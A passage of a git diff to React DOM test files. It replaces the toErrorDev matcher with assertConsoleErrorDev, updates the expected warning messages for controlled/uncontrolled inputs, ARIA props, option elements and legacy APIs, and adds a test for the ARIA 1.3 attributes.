         'undefined, which should not happen. ' +
         'Decide between using a controlled or uncontrolled input ' +
         'element for the lifetime of the component. More info: https://react.dev/link/controlled-components\n' +
         '    in input (at **)',
-    );
+    ]);
   });
 
   it('should warn if controlled checkbox switches to uncontrolled with defaultChecked', async () => {
@@ -2193,18 +2237,17 @@ describe('ReactDOMInput', () => {
     await act(() => {
       root.render(stub);
     });
-    await expect(async () => {
-      await act(() => {
-        root.render(<input type="checkbox" defaultChecked={true} />);
-      });
-    }).toErrorDev(
+    await act(() => {
+      root.render(<input type="checkbox" defaultChecked={true} />);
+    });
+    assertConsoleErrorDev([
       'A component is changing a controlled input to be uncontrolled. ' +
         'This is likely caused by the value changing from a defined to ' +
         'undefined, which should not happen. ' +
         'Decide between using a controlled or uncontrolled input ' +
         'element for the lifetime of the component. More info: https://react.dev/link/controlled-components\n' +
         '    in input (at **)',
-    );
+    ]);
   });
 
   it('should warn if uncontrolled checkbox (checked is undefined) switches to controlled', async () => {
@@ -2212,18 +2255,17 @@ describe('ReactDOMInput', () => {
     await act(() => {
       root.render(stub);
     });
-    await expect(async () => {
-      await act(() => {
-        root.render(<input type="checkbox" checked={true} />);
-      });
-    }).toErrorDev(
+    await act(() => {
+      root.render(<input type="checkbox" checked={true} />);
+    });
+    assertConsoleErrorDev([
       'A component is changing an uncontrolled input to be controlled. ' +
         'This is likely caused by the value changing from undefined to ' +
         'a defined value, which should not happen. ' +
         'Decide between using a controlled or uncontrolled input ' +
         'element for the lifetime of the component. More info: https://react.dev/link/controlled-components\n' +
         '    in input (at **)',
-    );
+    ]);
   });
 
   it('should warn if uncontrolled checkbox (checked is null) switches to controlled', async () => {
@@ -2231,18 +2273,17 @@ describe('ReactDOMInput', () => {
     await act(() => {
       root.render(stub);
     });
-    await expect(async () => {
-      await act(() => {
-        root.render(<input type="checkbox" checked={true} />);
-      });
-    }).toErrorDev(
+    await act(() => {
+      root.render(<input type="checkbox" checked={true} />);
+    });
+    assertConsoleErrorDev([
       'A component is changing an uncontrolled input to be controlled. ' +
         'This is likely caused by the value changing from undefined to ' +
         'a defined value, which should not happen. ' +
         'Decide between using a controlled or uncontrolled input ' +
         'element for the lifetime of the component. More info: https://react.dev/link/controlled-components\n' +
         '    in input (at **)',
-    );
+    ]);
   });
 
   it('should warn if controlled radio switches to uncontrolled (checked is undefined)', async () => {
@@ -2250,18 +2291,17 @@ describe('ReactDOMInput', () => {
     await act(() => {
       root.render(stub);
     });
-    await expect(async () => {
-      await act(() => {
-        root.render(<input type="radio" />);
-      });
-    }).toErrorDev(
+    await act(() => {
+      root.render(<input type="radio" />);
+    });
+    assertConsoleErrorDev([
       'A component is changing a controlled input to be uncontrolled. ' +
         'This is likely caused by the value changing from a defined to ' +
         'undefined, which should not happen. ' +
         'Decide between using a controlled or uncontrolled input ' +
         'element for the lifetime of the component. More info: https://react.dev/link/controlled-components\n' +
         '    in input (at **)',
-    );
+    ]);
   });
 
   it('should warn if controlled radio switches to uncontrolled (checked is null)', async () => {
@@ -2269,18 +2309,17 @@ describe('ReactDOMInput', () => {
     await act(() => {
       root.render(stub);
     });
-    await expect(async () => {
-      await act(() => {
-        root.render(<input type="radio" checked={null} />);
-      });
-    }).toErrorDev(
+    await act(() => {
+      root.render(<input type="radio" checked={null} />);
+    });
+    assertConsoleErrorDev([
       'A component is changing a controlled input to be uncontrolled. ' +
         'This is likely caused by the value changing from a defined to ' +
         'undefined, which should not happen. ' +
         'Decide between using a controlled or uncontrolled input ' +
         'element for the lifetime of the component. More info: https://react.dev/link/controlled-components\n' +
         '    in input (at **)',
-    );
+    ]);
   });
 
   it('should warn if controlled radio switches to uncontrolled with defaultChecked', async () => {
@@ -2288,18 +2327,17 @@ describe('ReactDOMInput', () => {
     await act(() => {
       root.render(stub);
     });
-    await expect(async () => {
-      await act(() => {
-        root.render(<input type="radio" defaultChecked={true} />);
-      });
-    }).toErrorDev(
+    await act(() => {
+      root.render(<input type="radio" defaultChecked={true} />);
+    });
+    assertConsoleErrorDev([
       'A component is changing a controlled input to be uncontrolled. ' +
         'This is likely caused by the value changing from a defined to ' +
         'undefined, which should not happen. ' +
         'Decide between using a controlled or uncontrolled input ' +
         'element for the lifetime of the component. More info: https://react.dev/link/controlled-components\n' +
         '    in input (at **)',
-    );
+    ]);
   });
 
   it('should warn if uncontrolled radio (checked is undefined) switches to controlled', async () => {
@@ -2307,18 +2345,17 @@ describe('ReactDOMInput', () => {
     await act(() => {
       root.render(stub);
     });
-    await expect(async () => {
-      await act(() => {
-        root.render(<input type="radio" checked={true} />);
-      });
-    }).toErrorDev(
+    await act(() => {
+      root.render(<input type="radio" checked={true} />);
+    });
+    assertConsoleErrorDev([
       'A component is changing an uncontrolled input to be controlled. ' +
         'This is likely caused by the value changing from undefined to ' +
         'a defined value, which should not happen. ' +
         'Decide between using a controlled or uncontrolled input ' +
         'element for the lifetime of the component. More info: https://react.dev/link/controlled-components\n' +
         '    in input (at **)',
-    );
+    ]);
   });
 
   it('should warn if uncontrolled radio (checked is null) switches to controlled', async () => {
@@ -2326,18 +2363,17 @@ describe('ReactDOMInput', () => {
     await act(() => {
       root.render(stub);
     });
-    await expect(async () => {
-      await act(() => {
-        root.render(<input type="radio" checked={true} />);
-      });
-    }).toErrorDev(
+    await act(() => {
+      root.render(<input type="radio" checked={true} />);
+    });
+    assertConsoleErrorDev([
       'A component is changing an uncontrolled input to be controlled. ' +
         'This is likely caused by the value changing from undefined to ' +
         'a defined value, which should not happen. ' +
         'Decide between using a controlled or uncontrolled input ' +
         'element for the lifetime of the component. More info: https://react.dev/link/controlled-components\n' +
         '    in input (at **)',
-    );
+    ]);
   });
 
   it('should not warn if radio value changes but never becomes controlled', async () => {
@@ -2390,18 +2426,17 @@ describe('ReactDOMInput', () => {
         />,
       );
     });
-    await expect(async () => {
-      await act(() => {
-        root.render(<input type="radio" value="value" />);
-      });
-    }).toErrorDev(
+    await act(() => {
+      root.render(<input type="radio" value="value" />);
+    });
+    assertConsoleErrorDev([
       'A component is changing a controlled input to be uncontrolled. ' +
         'This is likely caused by the value changing from a defined to ' +
         'undefined, which should not happen. ' +
         'Decide between using a controlled or uncontrolled input ' +
         'element for the lifetime of the component. More info: https://react.dev/link/controlled-components\n' +
         '    in input (at **)',
-    );
+    ]);
   });
 
   it('sets type, step, min, max before value always', async () => {
@@ -2747,9 +2782,15 @@ describe('ReactDOMInput', () => {
     }
 
     it('reverts the value attribute to the initial value', async () => {
-      await expect(renderInputWithStringThenWithUndefined).toErrorDev(
-        'A component is changing a controlled input to be uncontrolled.',
-      );
+      await renderInputWithStringThenWithUndefined();
+      assertConsoleErrorDev([
+        'A component is changing a controlled input to be uncontrolled. ' +
+          'This is likely caused by the value changing from a defined to undefined, which should not happen. ' +
+          'Decide between using a controlled or uncontrolled input element for the lifetime of the component. ' +
+          'More info: https://react.dev/link/controlled-components\n' +
+          '    in input (at **)\n' +
+          '    in Input (at **)',
+      ]);
       if (disableInputAttributeSyncing) {
         expect(input.getAttribute('value')).toBe(null);
       } else {
@@ -2758,9 +2799,15 @@ describe('ReactDOMInput', () => {
     });
 
     it('preserves the value property', async () => {
-      await expect(renderInputWithStringThenWithUndefined).toErrorDev(
-        'A component is changing a controlled input to be uncontrolled.',
-      );
+      await renderInputWithStringThenWithUndefined();
+      assertConsoleErrorDev([
+        'A component is changing a controlled input to be uncontrolled. ' +
+          'This is likely caused by the value changing from a defined to undefined, which should not happen. ' +
+          'Decide between using a controlled or uncontrolled input element for the lifetime of the component. ' +
+          'More info: https://react.dev/link/controlled-components\n' +
+          '    in input (at **)\n' +
+          '    in Input (at **)',
+      ]);
       expect(input.value).toBe('latest');
     });
   });
@@ -2798,11 +2845,19 @@ describe('ReactDOMInput', () => {
     }
 
     it('reverts the value attribute to the initial value', async () => {
-      await expect(renderInputWithStringThenWithNull).toErrorDev([
+      await renderInputWithStringThenWithNull();
+      assertConsoleErrorDev([
         '`value` prop on `input` should not be null. ' +
           'Consider using an empty string to clear the component ' +
-          'or `undefined` for uncontrolled components.',
-        'A component is changing a controlled input to be uncontrolled.',
+          'or `undefined` for uncontrolled components.\n' +
+          '    in input (at **)\n' +
+          '    in Input (at **)',
+        'A component is changing a controlled input to be uncontrolled. ' +
+          'This is likely caused by the value changing from a defined to undefined, which should not happen. ' +
+          'Decide between using a controlled or uncontrolled input element for the lifetime of the component. ' +
+          'More info: https://react.dev/link/controlled-components\n' +
+          '    in input (at **)\n' +
+          '    in Input (at **)',
       ]);
       if (disableInputAttributeSyncing) {
         expect(input.getAttribute('value')).toBe(null);
@@ -2812,11 +2867,19 @@ describe('ReactDOMInput', () => {
     });
 
     it('preserves the value property', async () => {
-      await expect(renderInputWithStringThenWithNull).toErrorDev([
+      await renderInputWithStringThenWithNull();
+      assertConsoleErrorDev([
         '`value` prop on `input` should not be null. ' +
           'Consider using an empty string to clear the component ' +
-          'or `undefined` for uncontrolled components.',
-        'A component is changing a controlled input to be uncontrolled.',
+          'or `undefined` for uncontrolled components.\n' +
+          '    in input (at **)\n' +
+          '    in Input (at **)',
+        'A component is changing a controlled input to be uncontrolled. ' +
+          'This is likely caused by the value changing from a defined to undefined, which should not happen. ' +
+          'Decide between using a controlled or uncontrolled input element for the lifetime of the component. ' +
+          'More info: https://react.dev/link/controlled-components\n' +
+          '    in input (at **)\n' +
+          '    in Input (at **)',
       ]);
       expect(input.value).toBe('latest');
     });
@@ -2824,11 +2887,15 @@ describe('ReactDOMInput', () => {
 
   describe('When given a Symbol value', function () {
     it('treats initial Symbol value as an empty string', async () => {
-      await expect(async () => {
-        await act(() => {
-          root.render(<input value={Symbol('foobar')} onChange={() => {}} />);
-        });
-      }).toErrorDev('Invalid value for prop `value`');
+      await act(() => {
+        root.render(<input value={Symbol('foobar')} onChange={() => {}} />);
+      });
+      assertConsoleErrorDev([
+        'Invalid value for prop `value` on <input> tag. ' +
+          'Either remove it from the element, or pass a string or number value to keep it in the DOM. ' +
+          'For details, see https://react.dev/link/attribute-behavior \n' +
+          '    in input (at **)',
+      ]);
       const node = container.firstChild;
 
       expect(node.value).toBe('');
@@ -2843,11 +2910,15 @@ describe('ReactDOMInput', () => {
       await act(() => {
         root.render(<input value="foo" onChange={() => {}} />);
       });
-      await expect(async () => {
-        await act(() => {
-          root.render(<input value={Symbol('foobar')} onChange={() => {}} />);
-        });
-      }).toErrorDev('Invalid value for prop `value`');
+      await act(() => {
+        root.render(<input value={Symbol('foobar')} onChange={() => {}} />);
+      });
+      assertConsoleErrorDev([
+        'Invalid value for prop `value` on <input> tag. ' +
+          'Either remove it from the element, or pass a string or number value to keep it in the DOM. ' +
+          'For details, see https://react.dev/link/attribute-behavior \n' +
+          '    in input (at **)',
+      ]);
       const node = container.firstChild;
 
       expect(node.value).toBe('');
@@ -2890,11 +2961,15 @@ describe('ReactDOMInput', () => {
 
   describe('When given a function value', function () {
     it('treats initial function value as an empty string', async () => {
-      await expect(async () => {
-        await act(() => {
-          root.render(<input value={() => {}} onChange={() => {}} />);
-        });
-      }).toErrorDev('Invalid value for prop `value`');
+      await act(() => {
+        root.render(<input value={() => {}} onChange={() => {}} />);
+      });
+      assertConsoleErrorDev([
+        'Invalid value for prop `value` on <input> tag. ' +
+          'Either remove it from the element, or pass a string or number value to keep it in the DOM. ' +
+          'For details, see https://react.dev/link/attribute-behavior \n' +
+          '    in input (at **)',
+      ]);
       const node = container.firstChild;
 
       expect(node.value).toBe('');
@@ -2909,11 +2984,15 @@ describe('ReactDOMInput', () => {
       await act(() => {
         root.render(<input value="foo" onChange={() => {}} />);
       });
-      await expect(async () => {
-        await act(() => {
-          root.render(<input value={() => {}} onChange={() => {}} />);
-        });
-      }).toErrorDev('Invalid value for prop `value`');
+      await act(() => {
+        root.render(<input value={() => {}} onChange={() => {}} />);
+      });
+      assertConsoleErrorDev([
+        'Invalid value for prop `value` on <input> tag. ' +
+          'Either remove it from the element, or pass a string or number value to keep it in the DOM. ' +
+          'For details, see https://react.dev/link/attribute-behavior \n' +
+          '    in input (at **)',
+      ]);
       const node = container.firstChild;
 
       expect(node.value).toBe('');
diff --git a/packages/react-dom/src/__tests__/ReactDOMInvalidARIAHook-test.js b/packages/react-dom/src/__tests__/ReactDOMInvalidARIAHook-test.js
index 6f1012b9a8ee..a5fd14e95c96 100644
--- a/packages/react-dom/src/__tests__/ReactDOMInvalidARIAHook-test.js
+++ b/packages/react-dom/src/__tests__/ReactDOMInvalidARIAHook-test.js
@@ -14,12 +14,15 @@ describe('ReactDOMInvalidARIAHook', () => {
   let ReactDOMClient;
   let mountComponent;
   let act;
+  let assertConsoleErrorDev;
 
   beforeEach(() => {
     jest.resetModules();
     React = require('react');
     ReactDOMClient = require('react-dom/client');
     act = require('internal-test-utils').act;
+    assertConsoleErrorDev =
+      require('internal-test-utils').assertConsoleErrorDev;
 
     mountComponent = async function (props) {
       const container = document.createElement('div');
@@ -34,47 +37,74 @@ describe('ReactDOMInvalidARIAHook', () => {
     it('should allow valid aria-* props', async () => {
       await mountComponent({'aria-label': 'Bumble bees'});
     });
+
+    it('should allow new ARIA 1.3 attributes', async () => {
+      // Test aria-braillelabel
+      await mountComponent({'aria-braillelabel': 'Braille label text'});
+
+      // Test aria-brailleroledescription
+      await mountComponent({'aria-brailleroledescription': 'Navigation menu'});
+
+      // Test aria-colindextext
+      await mountComponent({'aria-colindextext': 'Column A'});
+
+      // Test aria-rowindextext
+      await mountComponent({'aria-rowindextext': 'Row 1'});
+
+      // Test multiple ARIA 1.3 attributes together
+      await mountComponent({
+        'aria-braillelabel': 'Braille text',
+        'aria-colindextext': 'First column',
+        'aria-rowindextext': 'First row',
+      });
+    });
     it('should warn for one invalid aria-* prop', async () => {
-      await expect(() => mountComponent({'aria-badprop': 'maybe'})).toErrorDev(
+      await mountComponent({'aria-badprop': 'maybe'});
+      assertConsoleErrorDev([
         'Invalid aria prop `aria-badprop` on <div> tag. ' +
-          'For details, see https://react.dev/link/invalid-aria-props',
-      );
+          'For details, see https://react.dev/link/invalid-aria-props\n' +
+          '    in div (at **)',
+      ]);
     });
     it('should warn for many invalid aria-* props', async () => {
-      await expect(() =>
-        mountComponent({
-          'aria-badprop': 'Very tall trees',
-          'aria-malprop': 'Turbulent seas',
-        }),
-      ).toErrorDev(
+      await mountComponent({
+        'aria-badprop': 'Very tall trees',
+        'aria-malprop': 'Turbulent seas',
+      });
+      assertConsoleErrorDev([
         'Invalid aria props `aria-badprop`, `aria-malprop` on <div> ' +
-          'tag. For details, see https://react.dev/link/invalid-aria-props',
-      );
+          'tag. For details, see https://react.dev/link/invalid-aria-props\n' +
+          '    in div (at **)',
+      ]);
     });
     it('should warn for an improperly cased aria-* prop', async () => {
       // The valid attribute name is aria-haspopup.
-      await expect(() => mountComponent({'aria-hasPopup': 'true'})).toErrorDev(
+      await mountComponent({'aria-hasPopup': 'true'});
+      assertConsoleErrorDev([
         'Unknown ARIA attribute `aria-hasPopup`. ' +
-          'Did you mean `aria-haspopup`?',
-      );
+          'Did you mean `aria-haspopup`?\n' +
+          '    in div (at **)',
+      ]);
     });
 
     it('should warn for use of recognized camel case aria attributes', async () => {
       // The valid attribute name is aria-haspopup.
-      await expect(() => mountComponent({ariaHasPopup: 'true'})).toErrorDev(
+      await mountComponent({ariaHasPopup: 'true'});
+      assertConsoleErrorDev([
         'Invalid ARIA attribute `ariaHasPopup`. ' +
-          'Did you mean `aria-haspopup`?',
-      );
+          'Did you mean `aria-haspopup`?\n' +
+          '    in div (at **)',
+      ]);
     });
 
     it('should warn for use of unrecognized camel case aria attributes', async () => {
       // The valid attribute name is aria-haspopup.
-      await expect(() =>
-        mountComponent({ariaSomethingInvalid: 'true'}),
-      ).toErrorDev(
+      await mountComponent({ariaSomethingInvalid: 'true'});
+      assertConsoleErrorDev([
         'Invalid ARIA attribute `ariaSomethingInvalid`. ARIA ' +
-          'attributes follow the pattern aria-* and must be lowercase.',
-      );
+          'attributes follow the pattern aria-* and must be lowercase.\n' +
+          '    in div (at **)',
+      ]);
     });
   });
 });
diff --git a/packages/react-dom/src/__tests__/ReactDOMLegacyComponentTree-test.internal.js b/packages/react-dom/src/__tests__/ReactDOMLegacyComponentTree-test.internal.js
index 8465e6870396..ad5d24f4721f 100644
--- a/packages/react-dom/src/__tests__/ReactDOMLegacyComponentTree-test.internal.js
+++ b/packages/react-dom/src/__tests__/ReactDOMLegacyComponentTree-test.internal.js
@@ -13,10 +13,13 @@ describe('ReactDOMComponentTree', () => {
   let React;
   let ReactDOM;
   let container;
+  let assertConsoleErrorDev;
 
   beforeEach(() => {
     React = require('react');
     ReactDOM = require('react-dom');
+    assertConsoleErrorDev =
+      require('internal-test-utils').assertConsoleErrorDev;
 
     container = document.createElement('div');
     document.body.appendChild(container);
@@ -31,13 +34,13 @@ describe('ReactDOMComponentTree', () => {
   it('finds instance of node that is attempted to be unmounted', () => {
     const component = <div />;
     const node = ReactDOM.render(<div>{component}</div>, container);
-    expect(() => ReactDOM.unmountComponentAtNode(node)).toErrorDev(
+    ReactDOM.unmountComponentAtNode(node);
+    assertConsoleErrorDev([
       "unmountComponentAtNode(): The node you're attempting to unmount " +
         'was rendered by React and is not a top-level container. You may ' +
         'have accidentally passed in a React root node instead of its ' +
         'container.',
-      {withoutStack: true},
-    );
+    ]);
   });
 
   // @gate !disableLegacyMode
@@ -49,12 +52,12 @@ describe('ReactDOMComponentTree', () => {
     );
     const anotherComponent = <div />;
     const instance = ReactDOM.render(component, container);
-    expect(() => ReactDOM.render(anotherComponent, instance)).toErrorDev(
+    ReactDOM.render(anotherComponent, instance);
+    assertConsoleErrorDev([
       'Replacing React-rendered children with a new root ' +
         'component. If you intended to update the children of this node, ' +
         'you should instead have the existing children update their state ' +
         'and render the new components instead of calling ReactDOM.render.',
-      {withoutStack: true},
-    );
+    ]);
   });
 });
diff --git a/packages/react-dom/src/__tests__/ReactDOMLegacyFiber-test.js b/packages/react-dom/src/__tests__/ReactDOMLegacyFiber-test.js
index b81dea9f1826..8c0dd151e6c7 100644
--- a/packages/react-dom/src/__tests__/ReactDOMLegacyFiber-test.js
+++ b/packages/react-dom/src/__tests__/ReactDOMLegacyFiber-test.js
@@ -13,11 +13,14 @@ const React = require('react');
 const ReactDOM = require('react-dom');
 const PropTypes = require('prop-types');
 let act;
+let assertConsoleErrorDev;
 describe('ReactDOMLegacyFiber', () => {
   let container;
 
   beforeEach(() => {
     act = require('internal-test-utils').act;
+    assertConsoleErrorDev =
+      require('internal-test-utils').assertConsoleErrorDev;
     container = document.createElement('div');
     document.body.appendChild(container);
   });
@@ -787,6 +790,10 @@ describe('ReactDOMLegacyFiber', () => {
     }
 
     ReactDOM.render(<Parent />, container);
+    assertConsoleErrorDev([
+      'Parent uses the legacy childContextTypes API which will soon be removed. Use React.createContext() instead.',
+      'Component uses the legacy contextTypes API which will soon be removed. Use React.createContext() with static contextType instead.',
+    ]);
     expect(container.innerHTML).toBe('');
     expect(portalContainer.innerHTML).toBe('<div>bar</div>');
   });
@@ -830,6 +837,10 @@ describe('ReactDOMLegacyFiber', () => {
     }
 
     const instance = ReactDOM.render(<Parent />, container);
+    assertConsoleErrorDev([
+      'Parent uses the legacy childContextTypes API which will soon be removed. Use React.createContext() instead.',
+      'Component uses the legacy contextTypes API which will soon be removed. Use React.createContext() with static contextType instead.',
+    ]);
     expect(portalContainer.innerHTML).toBe('<div>initial-initial</div>');
     expect(container.innerHTML).toBe('');
     instance.setState({bar: 'changed'});
@@ -872,6 +883,10 @@ describe('ReactDOMLegacyFiber', () => {
     }
 
     ReactDOM.render(<Parent bar="initial" />, container);
+    assertConsoleErrorDev([
+      'Parent uses the legacy childContextTypes API which will soon be removed. Use React.createContext() instead.',
+      'Component uses the legacy contextTypes API which will soon be removed. Use React.createContext() with static contextType instead.',
+    ]);
     expect(portalContainer.innerHTML).toBe('<div>initial-initial</div>');
     expect(container.innerHTML).toBe('');
     ReactDOM.render(<Parent bar="changed" />, container);
@@ -1101,11 +1116,12 @@ describe('ReactDOMLegacyFiber', () => {
         return <div onClick="woops" />;
       }
     }
-    expect(() => ReactDOM.render(<Example />, container)).toErrorDev(
+    ReactDOM.render(<Example />, container);
+    assertConsoleErrorDev([
       'Expected `onClick` listener to be a function, instead got a value of `string` type.\n' +
         '    in div (at **)\n' +
         '    in Example (at **)',
-    );
+    ]);
   });
 
   // @gate !disableLegacyMode
@@ -1115,13 +1131,14 @@ describe('ReactDOMLegacyFiber', () => {
         return <div onClick={false} />;
       }
     }
-    expect(() => ReactDOM.render(<Example />, container)).toErrorDev(
+    ReactDOM.render(<Example />, container);
+    assertConsoleErrorDev([
       'Expected `onClick` listener to be a function, instead got `false`.\n\n' +
         'If you used to conditionally omit it with onClick={condition && value}, ' +
         'pass onClick={condition ? value : undefined} instead.\n' +
         '    in div (at **)\n' +
         '    in Example (at **)',
-    );
+    ]);
   });
 
   // @gate !disableLegacyMode
@@ -1254,19 +1271,17 @@ describe('ReactDOMLegacyFiber', () => {
     container.innerHTML = '<div>MEOW.</div>';
 
     await expect(async () => {
-      await expect(async () => {
-        await act(() => {
-          ReactDOM.render(<div key="2">baz</div>, container);
-        });
-      }).rejects.toThrow('The node to be removed is not a child of this node.');
-    }).toErrorDev(
+      await act(() => {
+        ReactDOM.render(<div key="2">baz</div>, container);
+      });
+    }).rejects.toThrow('The node to be removed is not a child of this node.');
+    assertConsoleErrorDev([
       '' +
         'It looks like the React-rendered content of this container was ' +
         'removed without using React. This is not supported and will ' +
         'cause errors. Instead, call ReactDOM.unmountComponentAtNode ' +
         'to empty a container.',
-      {withoutStack: true},
-    );
+    ]);
   });
 
   // @gate !disableLegacyMode
@@ -1277,14 +1292,14 @@ describe('ReactDOMLegacyFiber', () => {
     expect(container.innerHTML).toBe('<div>bar</div>');
     // then we mess with the DOM before an update
     container.innerHTML = '<div>MEOW.</div>';
-    expect(() => ReactDOM.render(<div>baz</div>, container)).toErrorDev(
+    ReactDOM.render(<div>baz</div>, container);
+    assertConsoleErrorDev([
       '' +
         'It looks like the React-rendered content of this container was ' +
         'removed without using React. This is not supported and will ' +
         'cause errors. Instead, call ReactDOM.unmountComponentAtNode ' +
         'to empty a container.',
-      {withoutStack: true},
-    );
+    ]);
   });
 
   // @gate !disableLegacyMode
@@ -1295,14 +1310,14 @@ describe('ReactDOMLegacyFiber', () => {
     expect(container.innerHTML).toBe('<div>bar</div>');
     // then we mess with the DOM before an update
     container.innerHTML = '';
-    expect(() => ReactDOM.render(<div>baz</div>, container)).toErrorDev(
+    ReactDOM.render(<div>baz</div>, container);
+    assertConsoleErrorDev([
       '' +
         'It looks like the React-rendered content of this container was ' +
         'removed without using React. This is not supported and will ' +
         'cause errors. Instead, call ReactDOM.unmountComponentAtNode ' +
         'to empty a container.',
-      {withoutStack: true},
-    );
+    ]);
   });
 
   // @gate !disableLegacyMode
diff --git a/packages/react-dom/src/__tests__/ReactDOMLegacyFloat-test.js b/packages/react-dom/src/__tests__/ReactDOMLegacyFloat-test.js
index 52c9746abdb4..5b22c6364f48 100644
--- a/packages/react-dom/src/__tests__/ReactDOMLegacyFloat-test.js
+++ b/packages/react-dom/src/__tests__/ReactDOMLegacyFloat-test.js
@@ -34,7 +34,9 @@ describe('ReactDOMFloat', () => {
     );
 
     expect(result).toEqual(
-      '<html><head><meta charSet="utf-8"/><title>title</title><script src="foo"></script></head></html>',
+      '<html><head><meta charSet="utf-8"/>' +
+        '<title>title</title><script src="foo"></script></head>' +
+        '</html>',
     );
   });
 });
diff --git a/packages/react-dom/src/__tests__/ReactDOMNativeEventHeuristic-test.js b/packages/react-dom/src/__tests__/ReactDOMNativeEventHeuristic-test.js
index 13b754ecf050..fe332a9d3cab 100644
--- a/packages/react-dom/src/__tests__/ReactDOMNativeEventHeuristic-test.js
+++ b/packages/react-dom/src/__tests__/ReactDOMNativeEventHeuristic-test.js
@@ -313,11 +313,7 @@ describe('ReactDOMNativeEventHeuristic-test', () => {
       expect(container.textContent).toEqual('not hovered');
 
       await waitFor(['hovered']);
-      if (gate(flags => flags.forceConcurrentByDefaultForTesting)) {
-        expect(container.textContent).toEqual('not hovered');
-      } else {
-        expect(container.textContent).toEqual('hovered');
-      }
+      expect(container.textContent).toEqual('hovered');
     });
     expect(container.textContent).toEqual('hovered');
   });
diff --git a/packages/react-dom/src/__tests__/ReactDOMOption-test.js b/packages/react-dom/src/__tests__/ReactDOMOption-test.js
index ee54bac0c391..910c90a3b962 100644
--- a/packages/react-dom/src/__tests__/ReactDOMOption-test.js
+++ b/packages/react-dom/src/__tests__/ReactDOMOption-test.js
@@ -14,6 +14,7 @@ describe('ReactDOMOption', () => {
   let ReactDOMClient;
   let ReactDOMServer;
   let act;
+  let assertConsoleErrorDev;
 
   beforeEach(() => {
     jest.resetModules();
@@ -21,6 +22,8 @@ describe('ReactDOMOption', () => {
     ReactDOMClient = require('react-dom/client');
     ReactDOMServer = require('react-dom/server');
     act = require('internal-test-utils').act;
+    assertConsoleErrorDev =
+      require('internal-test-utils').assertConsoleErrorDev;
   });
 
   async function renderIntoDocument(children) {
@@ -47,15 +50,17 @@ describe('ReactDOMOption', () => {
         {1} <div /> {2}
       </option>
     );
-    let container;
-    await expect(async () => {
-      container = await renderIntoDocument(el);
-    }).toErrorDev(
+    const container = await renderIntoDocument(el);
+    assertConsoleErrorDev([
       'In HTML, <div> cannot be a child of <option>.\n' +
         'This will cause a hydration error.\n' +
-        '    in div (at **)\n' +
-        '    in option (at **)',
-    );
+        '\n' +
+        '> <option value="12">\n' +
+        '>   <div>\n' +
+        '    ...\n' +
+        '\n' +
+        '    in div (at **)',
+    ]);
     expect(container.firstChild.innerHTML).toBe('1 <div></div> 2');
     await renderIntoDocument(el);
   });
@@ -69,13 +74,12 @@ describe('ReactDOMOption', () => {
         {1} <Foo /> {3}
       </option>
     );
-    let container;
-    await expect(async () => {
-      container = await renderIntoDocument(el);
-    }).toErrorDev(
+    const container = await renderIntoDocument(el);
+    assertConsoleErrorDev([
       'Cannot infer the option value of complex children. ' +
-        'Pass a `value` prop or use a plain string as children to <option>.',
-    );
+        'Pass a `value` prop or use a plain string as children to <option>.\n' +
+        '    in option (at **)',
+    ]);
     expect(container.firstChild.innerHTML).toBe('1 2 3');
     await renderIntoDocument(el);
   });
@@ -134,12 +138,11 @@ describe('ReactDOMOption', () => {
     }).rejects.toThrow('Objects are not valid as a React child');
   });
 
-  // @gate www
   it('should support element-ish child', async () => {
     // This is similar to <fbt>.
     // We don't toString it because you must instead provide a value prop.
     const obj = {
-      $$typeof: Symbol.for('react.element'),
+      $$typeof: Symbol.for('react.transitional.element'),
       type: props => props.content,
       ref: null,
       key: null,
@@ -180,13 +183,11 @@ describe('ReactDOMOption', () => {
 
   it('should be able to use dangerouslySetInnerHTML on option', async () => {
     const stub = <option dangerouslySetInnerHTML={{__html: 'foobar'}} />;
-    let container;
-    await expect(async () => {
-      container = await renderIntoDocument(stub);
-    }).toErrorDev(
+    const container = await renderIntoDocument(stub);
+    assertConsoleErrorDev([
       'Pass a `value` prop if you set dangerouslyInnerHTML so React knows which value should be selected.\n' +
         '    in option (at **)',
-    );
+    ]);
 
     expect(container.firstChild.innerHTML).toBe('foobar');
   });
@@ -260,13 +261,22 @@ describe('ReactDOMOption', () => {
     expect(option.textContent).toBe('BarFooBaz');
     expect(option.selected).toBe(true);
 
-    await expect(async () => {
-      await act(async () => {
-        ReactDOMClient.hydrateRoot(container, children, {
-          onRecoverableError: () => {},
-        });
+    await act(async () => {
+      ReactDOMClient.hydrateRoot(container, children, {
+        onRecoverableError: () => {},
       });
-    }).toErrorDev(['In HTML, <div> cannot be a child of <option>']);
+    });
+    assertConsoleErrorDev([
+      'In HTML, <div> cannot be a child of <option>.\n' +
+        'This will cause a hydration error.\n' +
+        '\n' +
+        '  <select readOnly={true} value="bar">\n' +
+        '>   <option value="bar">\n' +
+        '>     <div ref={{current:null}}>\n' +
+        '      ...\n' +
+        '\n' +
+        '    in div (at **)',
+    ]);
     option = container.firstChild.firstChild;
 
     expect(option.textContent).toBe('BarFooBaz');
diff --git a/packages/react-dom/src/__tests__/ReactDOMRoot-test.js b/packages/react-dom/src/__tests__/ReactDOMRoot-test.js
index 5ab8e4e90294..1db055643fe7 100644
--- a/packages/react-dom/src/__tests__/ReactDOMRoot-test.js
+++ b/packages/react-dom/src/__tests__/ReactDOMRoot-test.js
@@ -17,8 +17,8 @@ let Scheduler = require('scheduler');
 let act;
 let useEffect;
 let assertLog;
-let waitFor;
 let waitForAll;
+let assertConsoleErrorDev;
 
 describe('ReactDOMRoot', () => {
   let container;
@@ -32,11 +32,12 @@ describe('ReactDOMRoot', () => {
     ReactDOMServer = require('react-dom/server');
     Scheduler = require('scheduler');
     act = require('internal-test-utils').act;
+    assertConsoleErrorDev =
+      require('internal-test-utils').assertConsoleErrorDev;
     useEffect = React.useEffect;
 
     const InternalTestUtils = require('internal-test-utils');
     assertLog = InternalTestUtils.assertLog;
-    waitFor = InternalTestUtils.waitFor;
     waitForAll = InternalTestUtils.waitForAll;
   });
 
@@ -50,11 +51,11 @@ describe('ReactDOMRoot', () => {
   it('warns if a callback parameter is provided to render', async () => {
     const callback = jest.fn();
     const root = ReactDOMClient.createRoot(container);
-    expect(() => root.render(<div>Hi</div>, callback)).toErrorDev(
+    root.render(<div>Hi</div>, callback);
+    assertConsoleErrorDev([
       'does not support the second callback argument. ' +
         'To execute a side effect after rendering, declare it in a component body with useEffect().',
-      {withoutStack: true},
-    );
+    ]);
     await waitForAll([]);
     expect(callback).not.toHaveBeenCalled();
   });
@@ -65,13 +66,11 @@ describe('ReactDOMRoot', () => {
     }
 
     const root = ReactDOMClient.createRoot(container);
